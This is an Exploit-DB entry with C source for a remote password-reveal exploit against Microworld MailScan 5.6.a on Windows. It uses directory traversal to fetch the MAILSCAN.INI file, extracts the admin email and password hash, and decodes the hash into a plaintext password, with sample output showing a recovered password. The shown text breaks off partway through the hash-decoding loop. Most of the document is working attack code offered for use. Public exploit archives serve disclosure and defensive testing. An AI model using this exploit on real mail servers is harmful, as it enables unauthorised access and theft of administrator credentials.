Exploit-DB #6407
Description: Microworld Mailscan 5.6.a - Password Reveal
Type: remote
Platform: windows
Date: 2008-09-09
Author: SlaYeR

Exploit:
/*
----------------------------------------------------------------------------------------------

       _____           ____
      / ___/___  _____/ __ \___ _   __
      \__ \/ _ \/ ___/ / / / _ \ | / /
     ___/ /  __/ /__/ /_/ /  __/ |/ /
    /____/\___/\___/_____/\___/|___/
    [2008]  SecurityDevelopment.net


  Author: SlaYeR
  Date: 25. Aug. 2008
  Email: slayer@securitydevelopment.net
  Website: www.securitydevelopment.net
  IRC: dragon.overfl0w.org #securitydevelopment.net

----------------------------------------------------------------------------------------------

Exploit based on the advisory from Oliver Karow @
http://securityvulns.com/Udocument375.html

- MailScan for Mail Servers

    * Version: 5.6.a with espatch1
    * Win32 Platform

Other Mailscan Products, Versions, also, if available
for other platforms, were not tested.


I used the Directory Traversal methode to access the ini file of mailscan
application to gain some importend data.
After some research i found out that the password algorithm was extreamly
weak. So i decided to code a exploit for it.


15. Aug. 2008 - Advisory release
20. Aug. 2008 - SlaYeR founds out about the advisory
21. Aug. 2008 - Found out about the ini file
22. Aug. 2008 - Found out about the weak algorithm and coded a sploit for it.
25. Aug. 2008 - Private version done.
04. Sep. 2008 - Hotfix released by Microworld.
09. Sep. 2008 - Public release


Some special greets to:
Dams - He helped me with some stupid errors inside the decode_hash function
JGS - He helped me with the spliting hash part
Mikke8 - He didn't helped me but i like hem;)

Team Ph0enix - Cuz they Own

----------------------------------------------------------------------------------------------

Example:

         _____           ____
        / ___/___  _____/ __ \___ _   __
        \__ \/ _ \/ ___/ / / / _ \ | / /
       ___/ /  __/ /__/ /_/ /  __/ |/ /
      /____/\___/\___/_____/\___/|___/
      [2008]  SecurityDevelopment.net

 - Microworld Mailscan 5.6.a password reveal exploit -
               Coded by: SlaYeR


[!] Targeting 192.168.1.111:10443
[!] Building magic string!
[!] Connected to host!
[!] Building request!
[!] Opening target!
[+] SERVER: MailScan 5.6a
[+] ADMIN: insecure-mailscan@securitydevelopment.net
[+] HASH: GJBIAHALBCHIBJGJGGAEBMAFBIGGAGGKAIBJHLBMAEBJDHAPBH
[+] PASS: "sl@y3r"-owns-m!cr0word|\
[+] Done!


----------------------------------------------------------------------------------------------

*/




#include <stdio.h>
#include <windows.h>
#include <wininet.h>



#pragma comment(lib, "wininet")
#pragma comment(lib,"ws2_32")

char *SECDEV_ASCII=
"         _____           ____           \n"
"        / ___/___  _____/ __ \\___ _   __\n"
"        \\__ \\/ _ \\/ ___/ / / / _ \\ | / /\n"
"       ___/ /  __/ /__/ /_/ /  __/ |/ / \n"
"      /____/\\___/\\___/_____/\\___/|___/  \n"
"      [2008]  SecurityDevelopment.net\r\n"
"\r\n"
" - Microworld Mailscan 5.6.a password reveal exploit -\r\n"
"               Coded by: SlaYeR\r\n"
"                          \r\n\r\n";


int decode_hash(char * string);
int Count;
int exploit(char *url,char *port);



int main(int argc, char *argv[])
{
 char *url = argv[1];
 char *port = argv[2];
 printf(SECDEV_ASCII);

 if( argc <= 2 )
 {
  printf(" Usage: %s <IP> <PORT>\n",argv[0]);
  return 0;
 }
 else
 {
  exploit(url,port);
 }
 return 0;
}


int exploit(char *url,char *port)
{
 printf("[!] Targeting %s:%s\n",url,port);


 HINTERNET httpopen, openurl;
 char buffer2[1024];
 DWORD read;
 char *check;
 char *string1 = "http://";
 char *string2 = "/../../../../PROGRA~1/MailScan/MAILSCAN.INI";
 char bigbuffer[1025];
 char buffer3[1025];
 char buffer4[1025];
 char buffer5[1025];
 char buffer6[1025];



 if(httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0))
 {
  printf("[!] Building request!\n");
  memset(bigbuffer,0,1025);
  memcpy(bigbuffer,string1,strlen(string1));
  memcpy(bigbuffer+strlen(bigbuffer),url,strlen(url));
  memcpy(bigbuffer+strlen(bigbuffer),":",strlen(":"));
  memcpy(bigbuffer+strlen(bigbuffer),port,strlen(port));
  memcpy(bigbuffer+strlen(bigbuffer),string2,strlen(string2));
 }
 else
 {
  printf("[-] Error building request!\n");
  InternetCloseHandle(httpopen);
  CloseHandle(buffer2);
  return 0;
 }

 printf("[!] Trying to connect @ %s:%s\n",url,port);
 if(openurl = InternetOpenUrl(httpopen, bigbuffer, NULL, NULL,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL))
 {
  printf("[!] Connected to host!\n");
 }
 else
 {
  printf("[-] Error while connecting! \n");
  InternetCloseHandle(httpopen);
  InternetCloseHandle(openurl);
  CloseHandle(buffer2);
  return 0;
 }

 if(InternetReadFile(openurl, buffer2, sizeof(buffer2), &read))
 {

  if(check = strstr(buffer2, "[General]"))
  {

   check = strstr(buffer2, "UserPassword=");
   sscanf(check, "UserPassword=%s ", buffer3);

   check = strstr(buffer2, "AdminEmailId=");
   sscanf(check, "AdminEmailId=%s ", buffer4);

   check = strstr(buffer2, "ProductName=");
   sscanf(check, "ProductName=%s ", buffer5);

   check = strstr(buffer2, "Version=");
   sscanf(check, "Version=%s ", buffer6);
  }




 if( check==NULL )
 {
  printf("[-] Server not vuln :(\n");

 }
 else
 {
  printf("[+] SERVER: %s %s\n",buffer5,buffer6);
  printf("[+] ADMIN: %s\n",buffer4);
  printf("[+] HASH: %s\n",buffer3);
  printf("[+] PASS: ");

  char bufferfiller[sizeof(buffer3)];
  char temp[1025];

  memset(bufferfiller,0,sizeof(buffer3));

  for (int i=0;i < strlen(buffer3); i++)
  {
   Count++;

   sprintf(temp,"%c",buffer3[i]);
   memcpy(bufferfiller+strlen(bufferfiller),temp,strlen(temp));

   if(Count == 2)
   {
    char buf[255];
    memset(buf,0,sizeof(255));
    sprintf(buf,"%s",bufferfiller);

    decode_hash(buf);
    memset